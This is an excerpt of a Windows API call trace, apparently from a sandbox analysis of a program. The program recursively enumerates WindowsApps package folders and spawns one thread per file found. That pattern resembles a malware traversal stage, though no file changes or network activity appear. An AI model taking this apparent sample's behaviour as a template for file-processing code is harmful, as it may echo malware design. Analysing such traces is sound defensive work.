	[0077.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e473f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbbc
	[0077.091] FindNextFileW (in: hFindFile=0x2d71180, lpFindFileData=0x2dc1070 | out: lpFindFileData=0x2dc1070*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd547e1a3, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xcc36, dwReserved0=0x0, dwReserved1=0x0, cFileName="Package.StoreAssociation.xml", cAlternateFileName="")) returned 1
	[0077.091] wcscmp (_String1="Package.StoreAssociation.xml", _String2=".") returned 1
	[0077.091] wcscmp (_String1="Package.StoreAssociation.xml", _String2="..") returned 1
	[0077.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x2e474f0
	[0077.091] wcscpy (in: _Dest=0x2e474f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe"
	[0077.091] wcscat (in: _Dest=0x2e474f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\"
	[0077.091] wcscat (in: _Dest=0x2e474f0, _Source="Package.StoreAssociation.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Package.StoreAssociation.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Package.StoreAssociation.xml"
	[0077.091] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e474f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc0
	[0077.091] FindNextFileW (in: hFindFile=0x2d71180, lpFindFileData=0x2dc1070 | out: lpFindFileData=0x2dc1070*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd547e1a3, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x6980, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0077.091] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0077.091] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0077.091] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2e113f0
	[0077.092] wcscpy (in: _Dest=0x2e113f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe"
	[0077.092] wcscat (in: _Dest=0x2e113f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\"
	[0077.092] wcscat (in: _Dest=0x2e113f0, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\resources.pri"
	[0077.092] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e113f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc4
	[0077.092] FindNextFileW (in: hFindFile=0x2d71180, lpFindFileData=0x2dc1070 | out: lpFindFileData=0x2dc1070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd547e1a3, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab08e5b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd547e1a3, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TermsOfService", cAlternateFileName="TERMSO~1")) returned 1
	[0077.092] wcscmp (_String1="TermsOfService", _String2=".") returned 1
	[0077.092] wcscmp (_String1="TermsOfService", _String2="..") returned 1
	[0077.092] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2e12098
	[0077.092] wcscpy (in: _Dest=0x2e12098, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe"
	[0077.092] wcscat (in: _Dest=0x2e12098, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\"
	[0077.092] wcscat (in: _Dest=0x2e12098, _Source="TermsOfService" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService"
	[0077.093] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e12098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc8
	[0077.093] FindNextFileW (in: hFindFile=0x2d71180, lpFindFileData=0x2dc1070 | out: lpFindFileData=0x2dc1070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab089e41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd5373138, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 1
	[0077.093] wcscmp (_String1="_Resources", _String2=".") returned 1
	[0077.093] wcscmp (_String1="_Resources", _String2="..") returned 1
	[0077.093] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x2d7e478
	[0077.093] wcscpy (in: _Dest=0x2d7e478, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe"
	[0077.093] wcscat (in: _Dest=0x2d7e478, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\"
	[0077.093] wcscat (in: _Dest=0x2d7e478, _Source="_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources"
	[0077.093] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7e478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbcc
	[0077.094] FindNextFileW (in: hFindFile=0x2d71180, lpFindFileData=0x2dc1070 | out: lpFindFileData=0x2dc1070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5373138, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab089e41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd5373138, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0
	[0077.094] FindClose (in: hFindFile=0x2d71180 | out: hFindFile=0x2d71180) returned 1
	[0077.094] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc1070) returned 1
	[0077.094] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d886c8) returned 1
	[0077.094] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d790) returned 1

Thread:
	id = 267
	os_tid = 0xd24

	[0076.791] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x2d88f28
	[0076.791] wcscpy (in: _Dest=0x2d88f28, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0076.791] wcscat (in: _Dest=0x2d88f28, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0076.791] wcscat (in: _Dest=0x2d88f28, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\*"
	[0076.792] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc12d8
	[0076.792] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\*", lpFindFileData=0x2dc12d8 | out: lpFindFileData=0x2dc12d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d296410, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb9355ef2, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb9355ef2, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d711c0
	[0076.792] wcscmp (_String1=".", _String2=".") returned 0
	[0076.792] FindNextFileW (in: hFindFile=0x2d711c0, lpFindFileData=0x2dc12d8 | out: lpFindFileData=0x2dc12d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d296410, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb9355ef2, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb9355ef2, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.793] wcscmp (_String1="..", _String2=".") returned 1
	[0076.793] wcscmp (_String1="..", _String2="..") returned 0
	[0076.793] FindNextFileW (in: hFindFile=0x2d711c0, lpFindFileData=0x2dc12d8 | out: lpFindFileData=0x2dc12d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d2bc66a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d2bc66a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d2bc66a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1142, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0076.793] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0076.793] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0076.793] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x2d89010
	[0076.793] wcscpy (in: _Dest=0x2d89010, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0076.793] wcscat (in: _Dest=0x2d89010, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0076.793] wcscat (in: _Dest=0x2d89010, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0077.077] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d89010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa04
	[0077.078] FindNextFileW (in: hFindFile=0x2d711c0, lpFindFileData=0x2dc12d8 | out: lpFindFileData=0x2dc12d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d296410, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d296410, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d296410, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x349, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0077.078] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0077.078] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0077.078] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x2e34e60
	[0077.078] wcscpy (in: _Dest=0x2e34e60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0077.078] wcscat (in: _Dest=0x2e34e60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0077.078] wcscat (in: _Dest=0x2e34e60, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml"
	[0077.078] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e34e60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb94
	[0077.079] FindNextFileW (in: hFindFile=0x2d711c0, lpFindFileData=0x2dc12d8 | out: lpFindFileData=0x2dc12d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d2bc66a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d2bc66a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d2bc66a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x299d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0077.079] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0077.079] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0077.079] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x2e46fd0
	[0077.079] wcscpy (in: _Dest=0x2e46fd0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0077.079] wcscat (in: _Dest=0x2e46fd0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0077.079] wcscat (in: _Dest=0x2e46fd0, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0077.079] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e46fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb98
	[0077.080] FindNextFileW (in: hFindFile=0x2d711c0, lpFindFileData=0x2dc12d8 | out: lpFindFileData=0x2dc12d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d2bc66a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab13f343, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9d32ed7f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0077.080] wcscmp (_String1="Assets", _String2=".") returned 1
	[0077.080] wcscmp (_String1="Assets", _String2="..") returned 1
	[0077.080] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x2e470d8
	[0077.080] wcscpy (in: _Dest=0x2e470d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0077.080] wcscat (in: _Dest=0x2e470d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0077.080] wcscat (in: _Dest=0x2e470d8, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0077.080] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e470d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb9c
	[0077.081] FindNextFileW (in: hFindFile=0x2d711c0, lpFindFileData=0x2dc12d8 | out: lpFindFileData=0x2dc12d8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb9355ef2, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb9355ef2, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb9355ef2, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0077.081] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0077.081] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0077.081] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11e) returned 0x2e471c8
	[0077.081] wcscpy (in: _Dest=0x2e471c8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0077.081] wcscat (in: _Dest=0x2e471c8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0077.081] wcscat (in: _Dest=0x2e471c8, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.081] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e471c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba0
	[0077.082] FindNextFileW (in: hFindFile=0x2d711c0, lpFindFileData=0x2dc12d8 | out: lpFindFileData=0x2dc12d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d37b231, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d37b231, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d37b231, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0077.082] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0077.082] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0077.082] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x2e472f0
	[0077.082] wcscpy (in: _Dest=0x2e472f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0077.082] wcscat (in: _Dest=0x2e472f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0077.082] wcscat (in: _Dest=0x2e472f0, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri"
	[0077.082] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e472f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba4
	[0077.083] FindNextFileW (in: hFindFile=0x2d711c0, lpFindFileData=0x2dc12d8 | out: lpFindFileData=0x2dc12d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d37b231, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d37b231, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d37b231, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0077.083] FindClose (in: hFindFile=0x2d711c0 | out: hFindFile=0x2d711c0) returned 1
	[0077.083] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc12d8) returned 1
	[0077.083] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88f28) returned 1
	[0077.083] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c8b0) returned 1

Thread:
	id = 268
	os_tid = 0x135c

	[0076.793] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4731668
	[0076.793] wcscpy (in: _Dest=0x4731668, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe"
